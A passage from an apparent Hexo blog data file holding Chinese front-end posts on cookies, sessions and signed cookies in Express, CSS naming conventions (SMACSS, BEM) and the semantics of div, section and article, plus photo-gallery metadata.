的弊端</h3><p>数据在客户端就可以被修改，数据很容易被伪造，而且数据太多会影响传输效率。</p>\n<h2 id=\"session\"><a href=\"#session\" class=\"headerlink\" title=\"session\"></a>session</h2><p>针对 cookie 的缺点，session 解决了这些问题，session 保存在服务端，它的运作是通过 session_id 进行，这个值一般存在客户端的 cookie 中。</p>\n<h3 id=\"session-属性\"><a href=\"#session-属性\" class=\"headerlink\" title=\"session 属性\"></a>session 属性</h3><pre><code class=\"js\">app.use(sessionParser({\n  name: &#39;author&#39;,\n  // 储存位置: 默认 cookie\n  // store: new redisStore(),\n  // 编码字符串\n  secret: &#39;recommand 128 bytes random string&#39;,\n  cookie: {\n    maxAge: 60 * 1000\n  },\n  //每次请求都重设一个cookie\n  rolling: false,\n  resave: true,\n  // 是指无论有没有session cookie，每次请求都设置个session cookie ，默认给个标示为 connect.sid\n  saveUninitialized: false\n}))\n</code></pre>\n<h3 id=\"signedCookie\"><a href=\"#signedCookie\" class=\"headerlink\" title=\"signedCookie\"></a>signedCookie</h3><p>就是签名，专业点就是 “信息摘要算法“，例如我有一些数据想存在 cookie 中，如何保证不被篡改？</p>\n<p>比如我们用 dotcom_user 字段设置了个值 jzxer， cookie值应该是：</p>\n<pre><code class=\"json\">&gt; { dotcom_user: &#39;jzxer&#39; }\n</code></pre>\n<p>这样如果验证和更改，安全性都不是很高。</p>\n<p>我们可以这样处理，设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)</p>\n<blockquote>\n<p>sha1(secrit_string + dotcom_user) === ‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’</p>\n</blockquote>\n<p>然后把 cookie 变成这样：</p>\n<pre><code class=\"json\">{\n  dotcom_user: &#39;jzxer&#39;,\n  dotcom_user.sig: &#39;4850a42e3bc0d39c978770392cbd8dc2923e3d1d&#39;\n}\n</code></pre>\n<p>这样一来信息就无法伪造了，一旦更改了 cookie 中的值，就会和服务器的冲突，破解的成本也太高。</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"介绍\"><a href=\"#介绍\" class=\"headerlink\" title=\"介绍\"></a>介绍</h1><h2 id=\"cookie\"><a href=\"#cookie\" class=\"headerlink\" title=\"cookie\"></a>cookie</h2><p>cookie 是 HTTP 协议的一部分，处理分为以下几步：</p>\n<ol>\n<li><p>服务器向客户端发送 cookie，一般为 name=value 形式。</p>\n</li>\n<li><p>浏览器将 cookie 储存。</p>\n</li>\n<li><p>每次请求浏览器都会将 cookie 发给服务器。</p>\n</li>\n</ol>\n<h3 id=\"cookie-的属性\"><a href=\"#cookie-的属性\" class=\"headerlink\" title=\"cookie 的属性\"></a>cookie 的属性</h3><pre><code class=\"js\">res.cookie(&#39;isVisit&#39;, 1, {\n  // 储存的时间\n  maxAge: 10 * 1000,\n  // 为 true 时只在https中生效\n  secure: true,\n  // 影响路径\n  path: &#39;localhost&#39;,\n  // 是否支持 js 读取，可以预防 XSS\n  httpOnly: true\n})\n</code></pre>\n<blockquote>\n<p>isVisit 是 key 值，1 是 value。</p>\n</blockquote>\n<h3 id=\"cookie-的弊端\"><a href=\"#cookie-的弊端\" class=\"headerlink\" title=\"cookie 的弊端\"></a>cookie 的弊端</h3><p>数据在客户端就可以被修改，数据很容易被伪造，而且数据太多会影响传输效率。</p>\n<h2 id=\"session\"><a href=\"#session\" class=\"headerlink\" title=\"session\"></a>session</h2><p>针对 cookie 的缺点，session 解决了这些问题，session 保存在服务端，它的运作是通过 session_id 进行，这个值一般存在客户端的 cookie 中。</p>\n<h3 id=\"session-属性\"><a href=\"#session-属性\" class=\"headerlink\" title=\"session 属性\"></a>session 属性</h3><pre><code class=\"js\">app.use(sessionParser({\n  name: &#39;author&#39;,\n  // 储存位置: 默认 cookie\n  // store: new redisStore(),\n  // 编码字符串\n  secret: &#39;recommand 128 bytes random string&#39;,\n  cookie: {\n    maxAge: 60 * 1000\n  },\n  //每次请求都重设一个cookie\n  rolling: false,\n  resave: true,\n  // 是指无论有没有session cookie，每次请求都设置个session cookie ，默认给个标示为 connect.sid\n  saveUninitialized: false\n}))\n</code></pre>\n<h3 id=\"signedCookie\"><a href=\"#signedCookie\" class=\"headerlink\" title=\"signedCookie\"></a>signedCookie</h3><p>就是签名，专业点就是 “信息摘要算法“，例如我有一些数据想存在 cookie 中，如何保证不被篡改？</p>\n<p>比如我们用 dotcom_user 字段设置了个值 jzxer， cookie值应该是：</p>\n<pre><code class=\"json\">&gt; { dotcom_user: &#39;jzxer&#39; }\n</code></pre>\n<p>这样如果验证和更改，安全性都不是很高。</p>\n<p>我们可以这样处理，设置一个 secrit_string 和 dotcom_user 做个算法(不同的账户签名不同)</p>\n<blockquote>\n<p>sha1(secrit_string + dotcom_user) === ‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’</p>\n</blockquote>\n<p>然后把 cookie 变成这样：</p>\n<pre><code class=\"json\">{\n  dotcom_user: &#39;jzxer&#39;,\n  dotcom_user.sig: &#39;4850a42e3bc0d39c978770392cbd8dc2923e3d1d&#39;\n}\n</code></pre>\n<p>这样一来信息就无法伪造了，一旦更改了 cookie 中的值，就会和服务器的冲突，破解的成本也太高。</p>\n"},{"title":"css的命名规范","date":"2017-07-17T02:51:20.000Z","_content":"\n## 关于 css 的一些命名规范\n* css设计模式：SMACSS\n* BEM 命名规范\n* javascript Hook\n\n### SMACSS\n首先，它定义了五种样式：\n* base（基本）\n* layout（布局）\n* module（模块）\n* state（状态）\n* theme（皮肤）\n\n#### base（基本）\n* 在该样式中不适用class，id等选择，只对标签元素本身做设定，可以有属性选择器和伪类：\n```\nhtml{}\ninput[type=text] {}\na:hover {}\n```\n\n#### layout(布局)\n* 整个网站的【大架构】的外观，类似header，footer\n```\n#header {}\n.sidebar {}\n```\n> 通常只有一个选择器，一个id，或一个class\n\n#### module（组件）\n* 可复用组件，不需要任何prefix，\n\n#### partial\n比 layout 范围小，可以是特定单一领域下特别的设定，通常会将名称加在子 class 作为 prefix \n```\n.nav--main_item {}\n```\n\n#### state\n* 定义状态，例如：.active, .on \n```\n<ul>\n    <li> </li>\n    <li class=\"active\"> </li>\n<ul>\n```\n> .is-active 比.active 来的好读\n\n#### skin（皮肤）\n* 画面上所有主视觉的定义，例如：border-color，background-image，font-family等，负责大架构上的视觉样式。\n\n### BEM 命名规范\n* BEM 即 block，element，modifier 缩写\n* 将 block 区块作为起始开头，element为 block下的元素，modifier为该元素的属性。\n* block 和 element 用 __ 双下划线区分， 不同的modifier 则用 两个--区分，一个-表示这个 class 不依赖任何 block 或者 element ，是个独立的存在：.page-container\n示范：\n```\n.sidebar {\n    .sidebar--left__section {\n        .sidebar--left__section--header {}\n    }\n}\n```\n\n### javascript hook\n* 我理解的是，在 css 选择器的前缀加个动作或者 “js”，来表示该标签被 js 调用过\n> html 里 class 之间用两个空格比一个空格好阅读","source":"_posts/css的命名规范.md","raw":"---\ntitle: css的命名规范\ndate: 2017-07-17 10:51:20\ntags: [css命名规范]\ncategories: CSS\n---\n\n## 关于 css 的一些命名规范\n* css设计模式：SMACSS\n* BEM 命名规范\n* javascript Hook\n\n### SMACSS\n首先，它定义了五种样式：\n* base（基本）\n* layout（布局）\n* module（模块）\n* state（状态）\n* theme（皮肤）\n\n#### base（基本）\n* 在该样式中不适用class，id等选择，只对标签元素本身做设定，可以有属性选择器和伪类：\n```\nhtml{}\ninput[type=text] {}\na:hover {}\n```\n\n#### layout(布局)\n* 整个网站的【大架构】的外观，类似header，footer\n```\n#header {}\n.sidebar {}\n```\n> 通常只有一个选择器，一个id，或一个class\n\n#### module（组件）\n* 可复用组件，不需要任何prefix，\n\n#### partial\n比 layout 范围小，可以是特定单一领域下特别的设定，通常会将名称加在子 class 作为 prefix \n```\n.nav--main_item {}\n```\n\n#### state\n* 定义状态，例如：.active, .on \n```\n<ul>\n    <li> </li>\n    <li class=\"active\"> </li>\n<ul>\n```\n> .is-active 比.active 来的好读\n\n#### skin（皮肤）\n* 画面上所有主视觉的定义，例如：border-color，background-image，font-family等，负责大架构上的视觉样式。\n\n### BEM 命名规范\n* BEM 即 block，element，modifier 缩写\n* 将 block 区块作为起始开头，element为 block下的元素，modifier为该元素的属性。\n* block 和 element 用 __ 双下划线区分， 不同的modifier 则用 两个--区分，一个-表示这个 class 不依赖任何 block 或者 element ，是个独立的存在：.page-container\n示范：\n```\n.sidebar {\n    .sidebar--left__section {\n        .sidebar--left__section--header {}\n    }\n}\n```\n\n### javascript hook\n* 我理解的是，在 css 选择器的前缀加个动作或者 “js”，来表示该标签被 js 调用过\n> html 里 class 之间用两个空格比一个空格好阅读","slug":"css的命名规范","published":1,"updated":"2018-01-22T06:03:15.358Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y4o000mvzqh1y0fl86d","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"关于-css-的一些命名规范\"><a href=\"#关于-css-的一些命名规范\" class=\"headerlink\" title=\"关于 css 的一些命名规范\"></a>关于 css 的一些命名规范</h2><ul>\n<li>css设计模式：SMACSS</li>\n<li>BEM 命名规范</li>\n<li>javascript Hook</li>\n</ul>\n<h3 id=\"SMACSS\"><a href=\"#SMACSS\" class=\"headerlink\" title=\"SMACSS\"></a>SMACSS</h3><p>首先，它定义了五种样式：</p>\n<ul>\n<li>base（基本）</li>\n<li>layout（布局）</li>\n<li>module（模块）</li>\n<li>state（状态）</li>\n<li>theme（皮肤）</li>\n</ul>\n<h4 id=\"base（基本）\"><a href=\"#base（基本）\" class=\"headerlink\" title=\"base（基本）\"></a>base（基本）</h4><ul>\n<li>在该样式中不适用class，id等选择，只对标签元素本身做设定，可以有属性选择器和伪类：<pre><code>html{}\ninput[type=text] {}\na:hover {}\n</code></pre></li>\n</ul>\n<h4 id=\"layout-布局\"><a href=\"#layout-布局\" class=\"headerlink\" title=\"layout(布局)\"></a>layout(布局)</h4><ul>\n<li>整个网站的【大架构】的外观，类似header，footer<pre><code>#header {}\n.sidebar {}\n</code></pre><blockquote>\n<p>通常只有一个选择器，一个id，或一个class</p>\n</blockquote>\n</li>\n</ul>\n<h4 id=\"module（组件）\"><a href=\"#module（组件）\" class=\"headerlink\" title=\"module（组件）\"></a>module（组件）</h4><ul>\n<li>可复用组件，不需要任何prefix，</li>\n</ul>\n<h4 id=\"partial\"><a href=\"#partial\" class=\"headerlink\" title=\"partial\"></a>partial</h4><p>比 layout 范围小，可以是特定单一领域下特别的设定，通常会将名称加在子 class 作为 prefix </p>\n<pre><code>.nav--main_item {}\n</code></pre><h4 id=\"state\"><a href=\"#state\" class=\"headerlink\" title=\"state\"></a>state</h4><ul>\n<li>定义状态，例如：.active, .on <pre><code>&lt;ul&gt;\n  &lt;li&gt; &lt;/li&gt;\n  &lt;li class=&quot;active&quot;&gt; &lt;/li&gt;\n&lt;ul&gt;\n</code></pre><blockquote>\n<p>.is-active 比.active 来的好读</p>\n</blockquote>\n</li>\n</ul>\n<h4 id=\"skin（皮肤）\"><a href=\"#skin（皮肤）\" class=\"headerlink\" title=\"skin（皮肤）\"></a>skin（皮肤）</h4><ul>\n<li>画面上所有主视觉的定义，例如：border-color，background-image，font-family等，负责大架构上的视觉样式。</li>\n</ul>\n<h3 id=\"BEM-命名规范\"><a href=\"#BEM-命名规范\" class=\"headerlink\" title=\"BEM 命名规范\"></a>BEM 命名规范</h3><ul>\n<li>BEM 即 block，element，modifier 缩写</li>\n<li>将 block 区块作为起始开头，element为 block下的元素，modifier为该元素的属性。</li>\n<li>block 和 element 用 __ 双下划线区分， 不同的modifier 则用 两个–区分，一个-表示这个 class 不依赖任何 block 或者 element ，是个独立的存在：.page-container<br>示范：<pre><code>.sidebar {\n  .sidebar--left__section {\n      .sidebar--left__section--header {}\n  }\n}\n</code></pre></li>\n</ul>\n<h3 id=\"javascript-hook\"><a href=\"#javascript-hook\" class=\"headerlink\" title=\"javascript hook\"></a>javascript hook</h3><ul>\n<li>我理解的是，在 css 选择器的前缀加个动作或者 “js”，来表示该标签被 js 调用过<blockquote>\n<p>html 里 class 之间用两个空格比一个空格好阅读</p>\n</blockquote>\n</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"关于-css-的一些命名规范\"><a href=\"#关于-css-的一些命名规范\" class=\"headerlink\" title=\"关于 css 的一些命名规范\"></a>关于 css 的一些命名规范</h2><ul>\n<li>css设计模式：SMACSS</li>\n<li>BEM 命名规范</li>\n<li>javascript Hook</li>\n</ul>\n<h3 id=\"SMACSS\"><a href=\"#SMACSS\" class=\"headerlink\" title=\"SMACSS\"></a>SMACSS</h3><p>首先，它定义了五种样式：</p>\n<ul>\n<li>base（基本）</li>\n<li>layout（布局）</li>\n<li>module（模块）</li>\n<li>state（状态）</li>\n<li>theme（皮肤）</li>\n</ul>\n<h4 id=\"base（基本）\"><a href=\"#base（基本）\" class=\"headerlink\" title=\"base（基本）\"></a>base（基本）</h4><ul>\n<li>在该样式中不适用class，id等选择，只对标签元素本身做设定，可以有属性选择器和伪类：<pre><code>html{}\ninput[type=text] {}\na:hover {}\n</code></pre></li>\n</ul>\n<h4 id=\"layout-布局\"><a href=\"#layout-布局\" class=\"headerlink\" title=\"layout(布局)\"></a>layout(布局)</h4><ul>\n<li>整个网站的【大架构】的外观，类似header，footer<pre><code>#header {}\n.sidebar {}\n</code></pre><blockquote>\n<p>通常只有一个选择器，一个id，或一个class</p>\n</blockquote>\n</li>\n</ul>\n<h4 id=\"module（组件）\"><a href=\"#module（组件）\" class=\"headerlink\" title=\"module（组件）\"></a>module（组件）</h4><ul>\n<li>可复用组件，不需要任何prefix，</li>\n</ul>\n<h4 id=\"partial\"><a href=\"#partial\" class=\"headerlink\" title=\"partial\"></a>partial</h4><p>比 layout 范围小，可以是特定单一领域下特别的设定，通常会将名称加在子 class 作为 prefix </p>\n<pre><code>.nav--main_item {}\n</code></pre><h4 id=\"state\"><a href=\"#state\" class=\"headerlink\" title=\"state\"></a>state</h4><ul>\n<li>定义状态，例如：.active, .on <pre><code>&lt;ul&gt;\n  &lt;li&gt; &lt;/li&gt;\n  &lt;li class=&quot;active&quot;&gt; &lt;/li&gt;\n&lt;ul&gt;\n</code></pre><blockquote>\n<p>.is-active 比.active 来的好读</p>\n</blockquote>\n</li>\n</ul>\n<h4 id=\"skin（皮肤）\"><a href=\"#skin（皮肤）\" class=\"headerlink\" title=\"skin（皮肤）\"></a>skin（皮肤）</h4><ul>\n<li>画面上所有主视觉的定义，例如：border-color，background-image，font-family等，负责大架构上的视觉样式。</li>\n</ul>\n<h3 id=\"BEM-命名规范\"><a href=\"#BEM-命名规范\" class=\"headerlink\" title=\"BEM 命名规范\"></a>BEM 命名规范</h3><ul>\n<li>BEM 即 block，element，modifier 缩写</li>\n<li>将 block 区块作为起始开头，element为 block下的元素，modifier为该元素的属性。</li>\n<li>block 和 element 用 __ 双下划线区分， 不同的modifier 则用 两个–区分，一个-表示这个 class 不依赖任何 block 或者 element ，是个独立的存在：.page-container<br>示范：<pre><code>.sidebar {\n  .sidebar--left__section {\n      .sidebar--left__section--header {}\n  }\n}\n</code></pre></li>\n</ul>\n<h3 id=\"javascript-hook\"><a href=\"#javascript-hook\" class=\"headerlink\" title=\"javascript hook\"></a>javascript hook</h3><ul>\n<li>我理解的是，在 css 选择器的前缀加个动作或者 “js”，来表示该标签被 js 调用过<blockquote>\n<p>html 里 class 之间用两个空格比一个空格好阅读</p>\n</blockquote>\n</li>\n</ul>\n"},{"title":"div,section,article","date":"2017-06-28T09:24:19.000Z","_content":"\n## div\ndiv在html早期版本就支持了，section和article是html5提出的两个语义化标签。如果只是针对一个块内容做样式化，三者并无区别。\n\n## section\n作为语义化标签，section 应用的典型场景有文章的章节、标签对话框中的标签页、或者论文中有编号的部分。一般来说，当元素内容明确地出现在文档大纲中时，section 就是适用的。\n\n## article\n对于article标签来说，无论从结构上还是内容上来说，article 本身就是独立的、完整的。有个最简单的判断方法是看这段内容脱离了所在的语境，是否还是完整的、独立的，如果是，则应该用article标签。\n\n## 小结\n> 合理的语义化标签，可以更好的方便seo，也不知道为什么，我现在更喜欢细节的东西\n\ndiv < section < article ，语义是从无到有，逐渐增强的。div 无任何语义，仅仅用作样式化或者脚本化，对于一段主题性的内容，则就适用 section，而假如这段内容可以脱离上下文，作为完整的独立存在的一段内容，则就适用 article。原则上来说，能使用 article 的时候，也是可以使用 section 的，但是实际上，假如使用 article 更合适，那么就不要使用 section 。","source":"_posts/div-section-article.md","raw":"---\ntitle: 'div,section,article'\ndate: 2017-06-28 17:24:19\ntags: [语义化]\ncategories: HTML\n---\n\n## div\ndiv在html早期版本就支持了，section和article是html5提出的两个语义化标签。如果只是针对一个块内容做样式化，三者并无区别。\n\n## section\n作为语义化标签，section 应用的典型场景有文章的章节、标签对话框中的标签页、或者论文中有编号的部分。一般来说，当元素内容明确地出现在文档大纲中时，section 就是适用的。\n\n## article\n对于article标签来说，无论从结构上还是内容上来说，article 本身就是独立的、完整的。有个最简单的判断方法是看这段内容脱离了所在的语境，是否还是完整的、独立的，如果是，则应该用article标签。\n\n## 小结\n> 合理的语义化标签，可以更好的方便seo，也不知道为什么，我现在更喜欢细节的东西\n\ndiv < section < article ，语义是从无到有，逐渐增强的。div 无任何语义，仅仅用作样式化或者脚本化，对于一段主题性的内容，则就适用 section，而假如这段内容可以脱离上下文，作为完整的独立存在的一段内容，则就适用 article。原则上来说，能使用 article 的时候，也是可以使用 section 的，但是实际上，假如使用 article 更合适，那么就不要使用 section 。","slug":"div-section-article","published":1,"updated":"2018-01-22T06:03:21.785Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y4s000qvzqh4uxki9it","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"div\"><a href=\"#div\" class=\"headerlink\" title=\"div\"></a>div</h2><p>div在html早期版本就支持了，section和article是html5提出的两个语义化标签。如果只是针对一个块内容做样式化，三者并无区别。</p>\n<h2 id=\"section\"><a href=\"#section\" class=\"headerlink\" title=\"section\"></a>section</h2><p>作为语义化标签，section 应用的典型场景有文章的章节、标签对话框中的标签页、或者论文中有编号的部分。一般来说，当元素内容明确地出现在文档大纲中时，section 就是适用的。</p>\n<h2 id=\"article\"><a href=\"#article\" class=\"headerlink\" title=\"article\"></a>article</h2><p>对于article标签来说，无论从结构上还是内容上来说，article 本身就是独立的、完整的。有个最简单的判断方法是看这段内容脱离了所在的语境，是否还是完整的、独立的，如果是，则应该用article标签。</p>\n<h2 id=\"小结\"><a href=\"#小结\" class=\"headerlink\" title=\"小结\"></a>小结</h2><blockquote>\n<p>合理的语义化标签，可以更好的方便seo，也不知道为什么，我现在更喜欢细节的东西</p>\n</blockquote>\n<p>div &lt; section &lt; article ，语义是从无到有，逐渐增强的。div 无任何语义，仅仅用作样式化或者脚本化，对于一段主题性的内容，则就适用 section，而假如这段内容可以脱离上下文，作为完整的独立存在的一段内容，则就适用 article。原则上来说，能使用 article 的时候，也是可以使用 section 的，但是实际上，假如使用 article 更合适，那么就不要使用 section 